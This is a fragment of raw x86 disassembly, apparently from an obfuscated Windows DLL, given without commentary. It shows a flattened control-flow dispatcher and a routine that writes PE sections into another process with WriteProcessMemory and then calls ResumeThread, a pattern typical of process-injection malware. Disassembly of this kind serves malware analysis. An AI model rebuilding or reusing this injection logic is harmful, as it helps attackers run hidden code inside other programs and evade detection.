mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x100], 0x413fe049
jmp 0x1000c57f
movss xmm0, dword [0x10019238]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10019234]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0x63f5fbb4
jmp 0x1000c57f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10019208]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x80404871
jmp 0x1000c57f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191d4]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x6da902a7
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xc015e203
jmp 0x1000c57f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191b0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191ac]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x9b994475
jmp 0x1000c57f
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
add ecx, 0xeb529e9a
add ecx, eax
sub ecx, 0xeb529e9a
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x100], 0xdb24f97a
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x3ca2f0f3
jmp 0x1000c57f
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x100], 0x9bf5b3af
jmp 0x1000c57f
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x100], 0xb94e65db
jmp 0x1000c57f
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa0]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0xcc]
mov esi, dword [eax]
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002f30
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x100], 0x6c442381
jmp 0x1000c57f
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x100], 0x62511fd3
jmp 0x10003190